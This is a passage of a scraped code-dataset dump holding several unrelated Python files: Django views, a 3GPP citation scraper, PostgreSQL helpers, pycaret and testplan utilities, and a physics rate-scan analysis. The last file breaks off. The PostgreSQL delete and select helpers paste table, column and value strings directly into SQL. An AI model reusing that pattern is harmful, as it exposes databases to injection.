2)\n if b%2 == 0:\n return temp * temp\n else:\n return a * temp * temp\n\n\ndef get_nr():\n while True:\n try:\n nr = int(input('Enter a number: '))\n except:\n print('Number incorrect!')\n else:\n return nr\n\n\nprint('Enter base')\nbase = get_nr()\nprint('Enter power')\npwr = get_nr()\nprint('a^b = {}'.format(nr_power(base, pwr)))\n","sub_path":"___basic/bootcamp/capstone/01numbers/22fast_exponentiation.py","file_name":"22fast_exponentiation.py","file_ext":"py","file_size_in_byte":599,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"121334623","text":"\"\"\"platzigram views \"\"\"\n\n# Django\nfrom django.http import HttpResponse\nimport json\n\n#Utilities\nfrom datetime import datetime\n\ndef hello_world(request):\n \"\"\"return a greeting\"\"\"\n return HttpResponse('Oh, hi! Currente server time is {}'.format(\n datetime.now().strftime('%b %dth, %Y - %H:%M hrs')\n ))\n #return HttpResponse('Oh, hi! Currente server time is {}'.format( \n # now = datetime.now().strftime('%b %dth, %Y - %H:%M hrs')\n # ))\n\ndef sorted_numbers(request):\n \"\"\"Hi\"\"\" \n #print(request)\n #import pdb;pdb.set_trace() # para poder debugear en la consola\n numbers = request.GET['numbers'].split(',')\n numbers_int = sorted([int(number) for number in numbers])\n data = {\n 'status' : 'ok',\n 'numbers': numbers_int,\n 'message': 'Integers sorted succefully.'\n }\n #response = JsonResponse([numbers_int], safe=False)\n response = HttpResponse(\n json.dumps(data, indent=4),\n content_type='application/json'\n )\n\n #return HttpResponse(JsonResponse(str(numbers).split(',')))\n return response\n\n\ndef say_hi(request,name,age):\n \"\"\"return a greatting\"\"\"\n if age < 12:\n messague = 'Sorry {} you are not allowed here'.format(name)\n else:\n messague = 'Hi {} welcome to Platzigram '.format(name)\n\n return HttpResponse(messague)","sub_path":"platzigram/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"596013070","text":"from openpyxl import load_workbook\nfrom bibtexparser.bwriter import BibTexWriter\nfrom bibtexparser.bibdatabase import BibDatabase\nimport time\nimport sys\nfrom lxml import html\nimport requests\n\n\n# @Techreport{3gpp.36.331,\n# author = \"3GPP\",\n# title = \"{Evolved Universal Terrestrial Radio Access (E-UTRA); Radio Resource Control (RRC); Protocol specification}\",\n# type = \"TS\",\n# institution = \"{3rd Generation Partnership Project (3GPP)}\",\n# number = \"{36.331}\",\n# days = 11,\n# month = jul,\n# year = 2016,\n# url = \"http://www.3gpp.org/dynareport/36331.htm\",\n# }\n\ndb = BibDatabase()\ndb.entries = []\n\nwb2 = load_workbook(sys.argv[1])\nsheetnames = wb2.get_sheet_names()\nws = wb2[sheetnames[0]]\n\n# Iterate over the rows in the Excel-sheet but skip the header.\nfor row in ws.iter_rows(row_offset=1):\n\n number = row[0].value\n title = row[2].value\n type = row[1].value\n\n if number is None:\n continue\n\n entry = {\n 'ID': \"3gpp.{}\".format(number),\n 'ENTRYTYPE': \"techreport\",\n 'title': \"{{{}}}\".format(title),\n 'type': type,\n 'author': \"3GPP\",\n 'institution': \"{3rd Generation Partnership Project (3GPP)}\",\n 'number': number,\n 'url': \"http://www.3gpp.org/\\-DynaReport/\\-{}.htm\"\n .format(number.replace(\".\", \"\"))\n }\n\n if row[0].hyperlink is not None:\n # entry['url'] = row[0].hyperlink.target\n\n page = requests.get(row[0].hyperlink.target)\n tree = html.fromstring(page.content)\n\n for release in range(2):\n\n row = tree.xpath(\n '//tr[@id=\"SpecificationReleaseControl1_rpbReleases_i{}_ctl00_specificationsVersionGrid_ctl00__0\"]/td/div/a'\n .format(release))\n\n if len(row) > 0:\n daterow = tree.xpath(\n '//tr[@id=\"SpecificationReleaseControl1_rpbReleases_i{}_ctl00_specificationsVersionGrid_ctl00__0\"]/td'\n .format(release))\n\n entry['note'] = \"Version {}\".format(row[1].text.strip())\n\n if daterow[2].text.strip() is not \"\":\n date = daterow[2].text.split('-')\n entry['day'] = date[2].strip()\n entry['year'] = date[0].strip()\n entry['month'] = date[1].strip()\n break\n\n print(entry)\n db.entries.append(entry)\n\nwriter = BibTexWriter()\nwith open(sys.argv[2], 'w') as bibfile:\n bibfile.write(writer.write(db))\n","sub_path":"3gpp-citations.py","file_name":"3gpp-citations.py","file_ext":"py","file_size_in_byte":2457,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"310461378","text":"import psycopg2\nfrom datetime import date\n\n\ndef create_movies_table(table):\n try:\n conn = psycopg2.connect(database='djangotraining', user='djangouser', password='secret')\n try:\n cur = conn.cursor()\n cur.execute(\"\"\"\n CREATE TABLE IF NOT EXISTS %s (\n title\t\t\tvarchar(64) NOT NULL UNIQUE,\n episode_nb\t\tinteger,\n opening_crawl\ttext,\n director\t\tvarchar(32) NOT NULL,\n producer\t\tvarchar(128) NOT NULL,\n release_date\tdate NOT NULL,\n PRIMARY KEY\t\t(episode_nb)\n );\n \"\"\" % (table, ))\n except Exception as e:\n return (\" cannot create table: \" + str(e))\n else:\n conn.commit()\t\t# What is commit?\n conn.close()\n cur.close()\n return (\"OK\")\n\n except Exception as e:\n return (' connection to postgreSQL failed: ' + str(e))\n\n\ndef insert_into_table(epi_nb: int, title: str, director: str, producer: str, rel_date: date, opening: str ='',):\n try:\n conn = psycopg2.connect(database='djangotraining', user='djangouser', password='secret')\n try:\n cur = conn.cursor()\t\t# how to set %s for table_name\n cur.execute(\"\"\"\n INSERT INTO ex04_movies (episode_nb, title, opening_crawl, director, producer, release_date)\n VALUES (%(epi_nb)s, %(title)s, %(opening)s, %(director)s, %(producer)s, %(rel_date)s)\n ON CONFLICT (episode_nb) DO NOTHING;\n \"\"\",\n {'epi_nb': epi_nb, 'title': title, 'opening' : opening, 'director' : director, 'producer': producer, 'rel_date': rel_date}\n )\n except Exception as e:\n return (\" cannot insert into table: \" + str(e))\n else:\n conn.commit()\n conn.close()\n cur.close()\n return (\"OK\")\n\n except Exception as e:\n return (' connection to postgreSQL failed: ' + str(e))\n\n\ndef select_all_from_table(table):\n try:\n conn = psycopg2.connect(database='djangotraining', user='djangouser', password='secret')\n try:\n cur = conn.cursor()\n cur.execute(\"\"\"\n SELECT episode_nb, title, opening_crawl, director, producer, release_date FROM %s;\n \"\"\" % (table, )\n )\n ret = cur.fetchall()\n except Exception as e:\n return (\" cannot select from table: \" + str(e))\n else:\n conn.commit()\n conn.close()\n cur.close()\n if len(ret) == 0:\n return (\"No data available.\")\n return (ret)\n\n except Exception as e:\n return (' connection to postgreSQL failed: ' + str(e))\n\ndef delete_movie_from_table(table, col_name, val):\n try:\n conn = psycopg2.connect(database='djangotraining', user='djangouser', password='secret')\n try:\n cur = conn.cursor()\n print(\"\"\"\n DELETE FROM %s\n WHERE %s = '%s';\n \"\"\" % (table, col_name, val,))\n cur.execute(\"\"\"\n DELETE FROM %s\n WHERE %s = '%s';\n \"\"\" % (table, col_name, val,)\n )\n\n except Exception as e:\n return (\" cannot select from table: \" + str(e))\n else:\n conn.commit()\n conn.close()\n cur.close()\n\n except Exception as e:\n return (' connection to postgreSQL failed: ' + str(e))\n\n","sub_path":"Day05_ve/Day05_root/ex04/psy.py","file_name":"psy.py","file_ext":"py","file_size_in_byte":3650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"206467773","text":"#!/usr/bin/python\n#normalization\n\nimport pandas as pd\nimport numpy as np\nimport scipy as sp\n\ndata=pd.ExcelFile('fame_practice.xls')\n\ndata.sheet_names\n\nclean_data=data.parse('FAME_nut_comb_1_2_14_cleaned.tx', index_col=0)\n\ndata_new=clean_data.reset_index()\n\npre_cols=data_new.groupby(['ID']).mean()\n\nb=pre_cols.ix[:,[\"SAT\"]]\n\nc=np.log10(b)\n\npre_cols['log_SAT']= c\n\npre_cols.to_excel('logtestx.xls',sheet_name='Sheet1')\n","sub_path":"log_normal_test.py","file_name":"log_normal_test.py","file_ext":"py","file_size_in_byte":418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"379585706","text":"import cv2\nfrom matplotlib import pyplot as plt\n\nimg = cv2.imread(\"opencv-logo.png\")\nprint(type(img)) # \nprint(img.shape) # (222, 180, 3)\n\nbegin_point = (0, 80)\ncolor = \"yellow\"\ntext = \"Example\"\nplt.imshow(img)\n\nplt.axhline(begin_point[1], color=color, linestyle=\"--\", linewidth=1)\nplt.text(*begin_point, text, color=color)\nplt.show()\n","sub_path":"Python/Starting/chapxx/opencv/ch1/read.py","file_name":"read.py","file_ext":"py","file_size_in_byte":358,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"184078012","text":"# Adapted from\n# https://github.com/alan-turing-institute/sktime/blob/v0.11.0/sktime/utils/validation/_dependencies.py\n\nfrom importlib import import_module\nfrom typing import Optional\n\nfrom pycaret.internal.logging import get_logger\n\nlogger = get_logger()\n\n\ndef _check_soft_dependencies(\n package: str,\n severity: str = \"error\",\n extra: Optional[str] = \"all_extras\",\n install_name: Optional[str] = None,\n) -> bool:\n \"\"\"Check if all soft dependencies are installed and raise appropriate error message\n when not.\n\n Parameters\n ----------\n package : str\n Package to check\n severity : str, optional\n Whether to raise an error (\"error\") or just a warning message (\"warning\"),\n by default \"error\"\n extra : Optional[str], optional\n The 'extras' that will install this package, by default \"all_extras\".\n If None, it means that the dependency is not available in optional\n requirements file and must be installed by the user on their own.\n install_name : Optional[str], optional\n The package name to install, by default None\n If none, the name in `package` argument is used\n\n Returns\n -------\n bool\n If error is set to \"warning\", returns True if package can be imported or False\n if it can not be imported\n\n Raises\n ------\n ModuleNotFoundError\n User friendly error with suggested action to install all required soft\n dependencies\n RuntimeError\n Is the severity argument is not one of the allowed values\n \"\"\"\n install_name = install_name or package\n try:\n import_module(package)\n package_available = True\n except ModuleNotFoundError as e:\n msg = (\n f\"\\n{e}.\"\n f\"\\n'{package}' is a soft dependency and not included in the \"\n f\"pycaret installation. Please run: `pip install {install_name}` to install.\"\n )\n if extra is not None:\n msg = (\n msg\n + f\"\\nAlternately, you can install this by running `pip install pycaret[{extra}]`\"\n )\n\n if severity == \"error\":\n raise ModuleNotFoundError(msg)\n elif severity == \"warning\":\n logger.warning(f\"{msg}\")\n package_available = False\n else:\n raise RuntimeError(\n \"Error in calling _check_soft_dependencies, severity \"\n f'argument must be \"error\" or \"warning\", found \"{severity}\".'\n )\n\n return package_available\n","sub_path":"pycaret/utils/_dependencies.py","file_name":"_dependencies.py","file_ext":"py","file_size_in_byte":2525,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"391979485","text":"\"\"\"\nThis module provides helper functions that will add common information of\n Testplan execution to test report.\nThey could be used directly in testcases or provided to\n pre/pose_start/stop hooks.\nAlso provided is a predefined testsuite that can be included in user's\n Multitest directly.\n\"\"\"\n\n__all__ = [\n \"log_pwd\",\n \"log_hardware\",\n \"log_cmd\",\n \"log_environment\",\n \"attach_log\",\n \"attach_driver_logs_if_failed\",\n \"extract_driver_metadata\",\n \"clean_runpath_if_passed\",\n \"TestplanExecutionInfo\",\n]\n\nimport logging\nimport os\nimport psutil\nimport shutil\nimport socket\nimport sys\n\nfrom testplan.common.entity import Environment\nfrom testplan.common.utils.logger import TESTPLAN_LOGGER\nfrom testplan.common.utils.path import pwd\nfrom testplan.testing.multitest import testsuite, testcase\nfrom testplan.testing.multitest.result import Result\n\n\ndef log_hardware(result: Result) -> None:\n \"\"\"\n Saves host hardware information to the report.\n\n :param result: testcase result\n \"\"\"\n result.log(socket.getfqdn(), description=\"Current Host\")\n hardware = {\n \"CPU count\": psutil.cpu_count(),\n \"CPU frequence\": str(psutil.cpu_freq()),\n \"CPU percent\": psutil.cpu_percent(interval=1, percpu=True),\n \"Memory\": str(psutil.virtual_memory()),\n \"Swap\": str(psutil.swap_memory()),\n \"Disk usage\": str(psutil.disk_usage(os.getcwd())),\n \"Net interface addresses\": psutil.net_if_addrs(),\n \"PID\": os.getpid(),\n }\n result.dict.log(hardware, description=\"Hardware info\")\n\n\ndef log_environment(result: Result) -> None:\n \"\"\"\n Saves host environment variable to the report.\n\n :param result: testcase result\n \"\"\"\n result.dict.log(\n dict(os.environ), description=\"Current environment variable\"\n )\n\n\ndef log_pwd(result: Result) -> None:\n \"\"\"\n Saves current path to the report.\n\n :param result: testcase result\n \"\"\"\n result.log(pwd(), description=\"PWD environment\")\n result.log(os.getcwd(), description=\"Current real path\")\n\n\ndef log_cmd(result: Result) -> None:\n \"\"\"\n Saves command line arguments to the report.\n\n :param result: testcase result\n \"\"\"\n result.log(sys.argv, description=\"Command\")\n result.log(\n os.path.abspath(os.path.realpath(sys.argv[0])),\n description=\"Resolved path\",\n )\n\n\ndef extract_driver_metadata(env: Environment, result: Result) -> None:\n \"\"\"\n Saves metadata of each driver to the report.\n\n :param env: environment\n :param result: testcase result\n \"\"\"\n data = {rss.name: rss.extract_driver_metadata().to_dict() for rss in env}\n result.dict.log(data, description=\"Environment metadata\")\n\n\ndef attach_log(result: Result) -> None:\n \"\"\"\n Attaches top-level testplan.log file to the report.\n\n :param result: testcase result\n \"\"\"\n log_handlers = TESTPLAN_LOGGER.handlers\n for handler in log_handlers:\n if isinstance(handler, logging.FileHandler):\n result.attach(handler.baseFilename, description=\"Testplan log\")\n return\n\n\ndef attach_driver_logs_if_failed(\n env: Environment,\n result: Result,\n) -> None:\n \"\"\"\n Attaches stdout and stderr files to the report for each driver.\n\n :param env: environment\n :param result: testcase result\n \"\"\"\n if not env.parent.report.passed:\n for driver in env:\n std = getattr(driver, \"std\")\n if std:\n result.attach(\n std.out_path,\n description=\"Driver: {} stdout\".format(driver.name),\n )\n result.attach(\n std.err_path,\n description=\"Driver: {} stderr\".format(driver.name),\n )\n\n\ndef clean_runpath_if_passed(\n env: Environment,\n result: Result,\n) -> None:\n \"\"\"\n Deletes multitest-level runpath if the multitest passed.\n\n :param env: environment\n :param result: result object\n \"\"\"\n multitest = env.parent\n if multitest.report.passed:\n shutil.rmtree(multitest.runpath, ignore_errors=True)\n\n\n@testsuite\nclass TestplanExecutionInfo:\n \"\"\"\n Utility testsuite to log generic information of Testplan execution.\n \"\"\"\n\n @testcase\n def environment(self, env, result):\n \"\"\"\n Environment\n \"\"\"\n log_environment(result)\n\n @testcase\n def path(self, env, result):\n \"\"\"\n Execution path\n \"\"\"\n log_pwd(result)\n log_cmd(result)\n\n @testcase\n def hardware(self, env, result):\n \"\"\"\n Host hardware\n \"\"\"\n log_hardware(result)\n\n @testcase\n def logging(self, env, result):\n \"\"\"\n Testplan log\n \"\"\"\n attach_log(result)\n","sub_path":"testplan/common/utils/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":4729,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"433245466","text":"#! /usr/bin/env python\n# --------------------------------------------------------\n# DIAMOND RATE SCANS\n# created on June 24th 2016 by M. Reichmann\n# --------------------------------------------------------\n\nfrom __future__ import print_function\nfrom analysis import *\nfrom collections import Counter\nfrom json import load, dump\n\nfrom ROOT import TMultiGraph, TH2F, TH1F, TGraph2DErrors\nfrom re import split as splitname\n\nfrom pad_collection import AnalysisCollection, PadCollection\nfrom run import Run\nfrom run_selection import RunSelection\nfrom selector import collection_selector\nfrom functools import partial\nfrom binning import Bins\n\n\nclass DiaScans(Analysis):\n def __init__(self, selection_name=None, verbose=False):\n Analysis.__init__(self, verbose=verbose)\n\n self.print_start(run=selection_name, tc=False, prnt=verbose)\n\n # Main\n self.Name = selection_name\n self.Selections = self.load_selections()\n self.Selection = self.load_selection(selection_name)\n\n # Config\n self.DUTParser = load_parser(join(self.Dir, 'Configuration', 'DiamondAliases.ini'))\n\n # Info\n self.RS = RunSelection() # dummy for information\n self.DUTName = self.load_dut_name()\n self.RunPlans = self.load_runplans()\n self.TestCampaigns = self.load_test_campaigns()\n self.RunSelections = self.load_run_selections()\n self.RunInfos = self.load_run_infos()\n self.Info = self.load_selection_info()\n self.NPlans = len(self.Info) if self.Info else None\n\n self.Colors = get_color_gradient(self.NPlans) if self.Info else None\n\n self.set_results_dir(join('Results', 'selections', '' if self.Name is None else self.Name))\n\n self.print_finished(prnt=verbose)\n\n # ----------------------------------------\n # region INIT\n def load_selections(self):\n with open(join(self.Dir, self.MainConfig.get('MISC', 'runplan selection file'))) as f:\n return load(f, object_pairs_hook=OrderedDict)\n\n def load_selection(self, name):\n if name is None:\n return\n if name not in self.Selections.keys():\n warning('\"{} does not exist in:\\n{} '.format(name, sorted(self.Selections.iterkeys())))\n self.Name = None\n return\n return self.Selections[name]\n\n def load_dut_name(self, name=None):\n name = self.Name if name is None else name\n if name is None:\n return\n if any([word in name.lower() for word in ['all', 'test']]):\n return name.title()\n dut = name.lower()\n if dut not in self.DUTParser.options('ALIASES'):\n dut = splitname('[-_]', name)[0]\n if dut.lower() not in self.DUTParser.options('ALIASES'):\n dut = '-'.join(splitname('[-_]', name)[:2])\n if dut.lower() not in self.DUTParser.options('ALIASES'):\n warning('No diamond name found in \"{}\". Please choose one from \\n{}'.format(name, ', '.join(self.DUTParser.options('ALIASES'))))\n return self.DUTParser.get('ALIASES', dut)\n\n def load_runplans(self):\n with open(self.RS.RunPlanPath) as f:\n return load(f, object_pairs_hook=OrderedDict)\n\n def load_test_campaigns(self):\n return sorted(self.RunPlans.iterkeys() if self.Name is None else list(set(self.Selection.iterkeys())))\n\n def load_run_selections(self):\n return OrderedDict((tc, RunSelection(tc)) for tc in self.TestCampaigns)\n\n def load_run_infos(self):\n return OrderedDict((tc, rs.RunInfos) for tc, rs in self.RunSelections.iteritems())\n\n def load_selection_info(self):\n selections = []\n if self.Selection is None:\n return\n for tc, rps in self.Selection.iteritems():\n for rp, dut_nrs in rps.iteritems():\n for dut_nr in array([dut_nrs]).flatten():\n selections.append(SelectionInfo(self.RunSelections[tc].select_runs_from_runplan(rp, dut_nr, unselect=True)))\n return selections\n # endregion INIT\n # ----------------------------------------\n\n # ----------------------------------------\n # region GET\n def get_rp_diamonds(self, tc, rp):\n sel = self.RunSelections[tc].select_runs_from_runplan(rp, unselect=True)\n return sel.get_dut_names()\n\n def get_first_run(self, tc, rp):\n return self.get_runs(rp, tc)[0]\n\n def get_runs(self, rp, tc):\n return self.RunPlans[tc][rp]['runs']\n\n def get_dut_names(self):\n return [sel.DUTName for sel in self.Info]\n\n def get_run_types(self):\n return [sel.Type.lower() for sel in self.Info]\n\n def get_irradiations(self, string=True):\n return [make_irr_string(sel.Irradiation) if string else float(sel.Irradiation) for sel in self.Info]\n\n def get_bias_voltages(self):\n return [sel.Bias for sel in self.Info]\n\n def get_rp_values(self, sel, f, pickle_info=None, redo=False, load_tree=True, *args, **kwargs):\n pickle_path = self.make_pickle_path(pickle_info.SubDir, pickle_info.Name, sel.RunPlan, sel.DUTNr, pickle_info.Suffix, sel.TCString) if pickle_info else ''\n if file_exists(pickle_path) and not redo:\n with open(pickle_path) as f:\n return pickle.load(f)\n self.info('Did not find {}'.format(pickle_path), prnt=pickle_path)\n ana = collection_selector(sel.RunPlan, sel.DUTNr, sel.TCString, load_tree)\n try:\n pf = partial(f, ana, redo=redo, *args, **kwargs)\n return do_pickle(pickle_path, pf, redo=redo) if pickle_info else pf()\n except TypeError:\n pf = partial(f, ana, *args, **kwargs)\n return do_pickle(pickle_path, pf, redo=redo) if pickle_info else pf()\n\n def get_values(self, f, pickle_info=None, redo=False, load_tree=True, *args, **kwargs):\n return [self.get_rp_values(sel, f, pickle_info, redo, load_tree, *args, **kwargs) for sel in self.Info]\n\n def get_pulse_heights(self, avrg=False, redo=False):\n return self.get_values(AnalysisCollection.get_pulse_heights, PickleInfo('Ph_fit', 'PhVals', '{}'.format(int(avrg))), redo=redo, avrg=avrg)\n\n def get_rate_dependcies(self, redo=False):\n return self.get_values(AnalysisCollection.get_rate_dependence, PickleInfo('Ph_fit', 'RD'), redo=redo)\n\n def print_rate_dependencies(self):\n for i, (s1, s2) in zip(self.Info, self.get_rate_dependcies()):\n print(i)\n print(' Rel STD: {:2.1f}'.format(s1.n * 100))\n print(' Rel Spread: {:2.1f} \\\\pm {:0.1f}'.format(s2.n * 100, s2.s * 100))\n\n def get_rp_pulse_heights(self, sel, corr=True, redo=False):\n return self.get_rp_values(sel, AnalysisCollection.get_pulse_heights, PickleInfo('Ph_fit', 'PhVals', '10000_{}'.format(corr)), redo=redo, corr=corr)\n\n def get_pedestals(self, redo=False):\n return self.get_values(PadCollection.get_pedestals, PickleInfo('Pedestal', 'Values'), redo=redo)\n\n def get_rel_errors(self, flux=105, redo=False):\n return self.get_values(AnalysisCollection.get_repr_error, PickleInfo('Errors', 'Repr', flux), redo=redo, flux=flux)\n\n def get_mean_uniformities(self, redo=False, low=False, high=False):\n return self.get_values(AnalysisCollection.get_mean_uniformity, PickleInfo('Uniformity', '', '{}{}'.format(int(low), int(high))), redo=redo, high_flux=high, low_flux=low)\n\n def get_uniformities(self, redo=False, low=False, high=False):\n return self.get_values(AnalysisCollection.get_uniformities, PickleInfo('Uniformity', 'SMSTD', '{}{}'.format(int(low), int(high))), redo=redo, high_flux=high, low_flux=low)\n\n def get_currents(self):\n return self.get_values(AnalysisCollection.get_currents, PickleInfo('Currents', 'Vals'))\n\n def get_fluxes(self, avrg=False):\n return self.get_values(AnalysisCollection.get_fluxes, PickleInfo('Flux', 'Vals', suf='{}'.format(int(avrg)) if avrg else ''), avrg=avrg)\n\n def get_all_infos(self):\n return [sel for tc in self.RunPlans.iterkeys() for sel in self.get_tc_infos(tc)]\n\n def get_dia_infos(self, dut_name):\n dut_name = self.RS.Run.translate_dia(dut_name)\n return [sel for tc in self.RunPlans.iterkeys() for sel in self.get_tc_infos(tc) if dut_name == sel.DUTName]\n\n def get_tc_infos(self, tc):\n rs = self.RunSelections[tc] if tc in self.RunSelections else RunSelection(tc)\n return [SelectionInfo(rs.select_runs_from_runplan(rp, dut + 1, unselect=True)) for rp in sorted(self.RunPlans[tc]) for dut in xrange(rs.get_n_duts(run_plan=rp))]\n\n def get_bias_str(self):\n return ' at {bias} V'.format(bias=self.Info[0].Bias) if len(set(self.get_bias_voltages())) == 1 else ''\n\n def get_all_ana_strings(self, dut=None, tc=None, redo=False):\n selections = self.get_all_infos() if dut is None and tc is None else self.get_dia_infos(dut) if tc is None else self.get_tc_infos(tc)\n selections = [sel for sel in selections if self.RS.Run.translate_dia(dut) == sel.DUTName] if dut is not None else selections\n redo = ' -rd' if redo else ''\n return '_'.join(['analyse {} {} -c -tc {} -d{}'.format(sel.RunPlan, sel.DUTNr, sel.TCString, redo) for sel in selections])\n # endregion GET\n # ----------------------------------------\n\n # ----------------------------------------\n # region SHOW\n def show_selections(self):\n header = ['Name', 'Diamond', 'Campaigns']\n rows = []\n old_sel = deepcopy(self.Name)\n for name in self.Selections.iterkeys():\n self.set_selection_name(name)\n row = [name, self.load_dut_name(), ', '.join(str(tc) for tc in self.load_test_campaigns())]\n rows.append(row)\n self.set_selection_name(old_sel)\n print_table(rows, header)\n\n def show_selection(self):\n \"\"\" Gives detailed information about the chosen selection \"\"\"\n print_table(rows=[sel() for sel in self.Info], header=['TC', 'RunPlan', 'DUT', 'Nr', 'Runs', 'Bias', 'Type', 'Irrad']) if self.Info else warning('Selection is empty!')\n\n def show_all_runplans(self):\n old_sel = deepcopy(self.Name)\n self.set_selection(None)\n for tc, runplans in sorted(self.RunPlans.iteritems()):\n if runplans:\n print_small_banner(tc, color='yellow')\n header = ['Runplan', 'Runs', 'Diamonds']\n rows = []\n for rp, dic in sorted(runplans.iteritems()):\n runs = dic['runs']\n rows.append([rp, '{:03d}-{:03d}'.format(runs[0], runs[-1]), ', '.join(self.get_rp_diamonds(tc, rp))])\n print_table(rows, header)\n self.set_selection_name(old_sel)\n\n def show_pulse_heights(self):\n rows = [[sel.TCString, sel.RunPlan] + ['{:2.2f}'.format(i) for i in mean_sigma([dic['ph'] for dic in phs.itervalues()])] for phs, sel in zip(self.get_pulse_heights(), self.Info)]\n print_table(rows, header=['Test Campaign', 'Run Plan', 'PH [mv]', 'STD [mV]'])\n # endregion SHOW\n # ----------------------------------------\n\n # ----------------------------------------\n # region SELECTION\n def set_selection(self, name):\n self.info('Set Selection {0}'.format(name))\n self.Name = name\n self.DUTName = self.load_dut_name()\n self.Selection = self.load_selection(name)\n self.TestCampaigns = self.load_test_campaigns()\n self.RunSelections = self.load_run_selections()\n self.RunInfos = [rs.RunInfos for rs in self.RunSelections.itervalues()]\n self.Info = self.load_selection_info()\n self.set_results_dir(join('Results', 'selections', self.Name)) if name else do_nothing()\n\n def set_selection_name(self, name):\n self.Name = name\n self.Selection = self.load_selection(name)\n\n def clear_selection(self):\n self.Selection = {}\n\n def select_runplan(self, runplan, dut=1, testcampaign=None):\n rp = make_runplan_string(runplan)\n tc = str(testcampaign) if testcampaign is not None else self.TestCampaigns[-1]\n if rp in self.RunPlans[tc]:\n if tc not in self.Selection:\n self.Selection[tc] = {}\n self.Selection[tc][rp] = dut\n else:\n log_warning('The runplan {0} does not exist in {1}!'.format(rp, tc))\n\n def unselect_runplan(self, runplan, testcampaign=None):\n rp = make_runplan_string(runplan)\n tc = str(testcampaign) if testcampaign is not None else self.TestCampaigns[-1]\n try:\n self.Selection[tc].pop(rp)\n except KeyError:\n log_warning('The runplan {0} does not exist in {1}!'.format(rp, tc))\n\n def add_selection(self):\n name = raw_input('Enter the name of the selection: ')\n self.clear_selection()\n self.Selections[name] = {} if name not in self.Selections else self.Selections[name]\n run_plan = raw_input('Enter test campaign, run plan number, channel: ')\n while run_plan:\n tc, rp, ch = [string.strip(' ') for string in run_plan.split(',')]\n self.select_runplan(rp, int(ch), tc)\n run_plan = raw_input('Enter test campaign, run plan number, channel (leave blank to finish): ')\n self.save_selection(name)\n\n def save_selection(self, name=None):\n name = raw_input('Enter the name of the selection: ') if name is None else name\n if not self.Selection:\n warning('Selection is empty!')\n return\n with open(join(self.Dir, self.MainConfig.get('MISC', 'runplan selection file')), 'w') as f:\n if name in self.Selections:\n query = raw_input('{} does already exist. Do you want to overwrite it? (y/n) '.format(name))\n if query.lower().strip() in ['no', 'n']:\n return\n self.Selections[name] = self.Selection\n dump(self.Selection, f, indent=2, sort_keys=True)\n self.info('Saved {} to selections'.format(name))\n # endregion SELECTION\n # ----------------------------------------\n\n # ----------------------------------------\n # region DRAWING\n def draw_collimator_settings(self, show=True):\n h = TH2F('h_cs', 'Collimator Settings', 125, 50, 300, 75, 0, 150)\n for tc in self.TestCampaigns:\n for run, data in self.RunInfos[tc].iteritems():\n try:\n h.Fill(data['fs11'], data['fs13'])\n except KeyError:\n pass\n format_histo(h, x_tit='fs11', y_tit='fsh13', y_off=1.3, stats=0, z_off=1.1, z_tit='Number of Entries', z_range=[0, 80])\n self.save_histo(h, 'CollimatorSettings', show, draw_opt='colz', lm=.12, rm=.16)\n\n def draw_flux_vs_collimators(self, show=True):\n gr = TGraph2DErrors()\n gr.SetNameTitle('gr_fc', 'Flux Vs. Collimators')\n col_settings = Counter([(data['fs11'], data['fs13']) for tc in self.TestCampaigns for data in self.RunInfos[tc].itervalues() if 'fs11' in data and data['fs11'] > 0])\n i = 0\n for col, nr in col_settings.iteritems():\n if nr > 10:\n flux_fit = self.draw_flux_distribution(col[0], col[1], show=False)\n if flux_fit is not None:\n gr.SetPoint(i, col[0], col[1], flux_fit.Parameter(1))\n gr.SetPointError(i, 0, 0, flux_fit.Parameter(2))\n i += 1\n self.draw_histo(gr, 'FluxVsCollimators', show, draw_opt='surf1', lm=.15, phi=17, theta=35)\n format_histo(gr, x_tit='fs11', x_off=1.3, y_tit='fsh13', y_off=1.9, stats=0, z_off=1.9, z_tit='Flux kHz/cm^{2}', markersize=2, y_range=[0, 130])\n self.save_plots('FluxVsCollimators', show=show, prnt=False)\n h = gr.Clone()\n h.Draw('samep')\n self.Objects.append(h)\n self.save_plots('FluxVsCollimators', show=show)\n\n def draw_flux_variations(self, show=True, rel_sigma=False):\n gr = self.make_tgrapherrors('gr_fd', 'Flux Deviations')\n col_settings = Counter([(data['fs11'], data['fs13']) for tc in self.TestCampaigns for data in self.RunInfos[tc].itervalues() if 'fs11' in data and data['fs11'] > 0])\n i = 0\n for col, nr in sorted(col_settings.iteritems()):\n if nr > 30:\n flux_fit = self.draw_flux_distribution(col[0], col[1], show=False)\n if flux_fit is not None:\n gr.SetPoint(i, flux_fit.Parameter(1), flux_fit.Parameter(2) if not rel_sigma else flux_fit.Parameter(2) / flux_fit.Parameter(1))\n yerr = flux_fit.ParError(2) + .5 * flux_fit.Parameter(2)\n if rel_sigma:\n yerr = flux_fit.Parameter(2) / flux_fit.Parameter(1) * sqrt(sum([((flux_fit.ParError(j) + .5 * flux_fit.Parameter(2) if rel_sigma else 0) / flux_fit.Parameter(j)) ** 2\n for j in xrange(1, 3)]))\n gr.SetPointError(i, flux_fit.ParError(1), yerr)\n l1 = self.draw_tlatex(gr.GetX()[i] * 1.05, gr.GetY()[i], '{0}/{1}'.format(make_col_str(col[0]), make_col_str(col[1])), color=1, align=10, size=.03)\n gr.GetListOfFunctions().Add(l1)\n i += 1\n format_histo(gr, x_tit='Mean Flux [au]', y_tit='{0}Sigma [au]'.format('Relative ' if rel_sigma else ''), y_off=1.3)\n self.draw_histo(gr, 'FluxVariations', show, draw_opt='alp', logx=True, logy=not rel_sigma, lm=.12)\n gr.GetXaxis().SetLimits(gr.GetX()[0] / 2, gr.GetX()[gr.GetN() - 1] * 4)\n self.save_plots('FluxVariations{0}'.format('Rel' if rel_sigma else ''), show=show)\n\n def 